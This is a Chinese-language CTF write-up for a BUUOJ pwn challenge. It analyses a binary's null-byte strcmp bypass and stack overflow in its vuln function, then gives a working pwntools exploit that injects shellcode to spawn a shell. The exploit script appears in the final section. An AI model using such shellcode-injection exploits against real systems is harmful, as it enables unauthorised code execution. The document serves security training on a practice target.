分析
按照惯例用checksec检查下程序保护情况
可见其开启了Full Relro,但是NX(堆栈可执行保护)是关闭的,因此可以往栈里面写入shellcode。
再使用IDA来进行下代码审计
- main函数
第一行代码是关闭缓冲区,二三行分别调用header()
和chall()
函数,整个main函数平平无奇 - header函数
显示些内容,也是平平无奇 - chall函数
第一行的printf()把s的地址给打印出来了,fgets()限制往s里面读取1023个字节的数据,但s的大小为1024,无法从此处进行栈溢出
v0变量赋值为s的长度,v3存储从s所指向的字符串的前v0个字符第一次出现char(10)位置的指针,讲人话就是存char(10)第一次出现的位置的指针
然后对v3进行判断,如果v3不为空,就将其指针指向数据置为0。接着打印s的内容
再接着就是比较s和”crashme”相不相同,把比较返回的布尔值赋值给result,但是这里的strlen()有个漏洞,即遇到\x00停止判断,不管后面有什么内容。
之后对result进行判断,如果相同则跳转到vuln函数,否则后面就没故事了。
- vuln函数
vuln函数参数为char src和size_t n,就一个功能,从src复制n个字节给dest,这里存在栈溢出漏洞,因为在chall函数中,给vuln函数传的n为400,而dest的大小仅仅为50。
解题过程
栈溢出,然后覆盖ebp地址为shellcode地址
payload思路:
payload = "crashme\x00" + 距离ebp长度 + 4的垃圾字符串 + 新ebp地址 + shellcode
长度计算过程:
添加断点至vuln()的nop处
运行至断点,然后stack 30
发现输入字符串的偏移为0x22,ebp偏移为0x38,二者相对偏移为0x38 – 0x22 = 0x16
字符串地址相对ebp地址偏移为:字符串地址 – (ebp + 4) = 0x1c
获取字符串地址在这里有个小坑,程序打印的时候冒号后面跟了个空格,这里得注意
exp.py
from pwn import *
context(log_level = "debug")
p = process('./ez')
#p = remote("node5.buuoj.cn",25722)
#gdb.attach(p,"b* 0x8048600")
p.recvuntil("crash: ")
stack_addr = int(p.recv(10),16)
shellcode=asm(shellcraft.sh())
payload = b'crashme\x00' + b'a'*18 + p32(stack_addr-0x1c) + shellcode
p.sendline(payload)
p.interactive()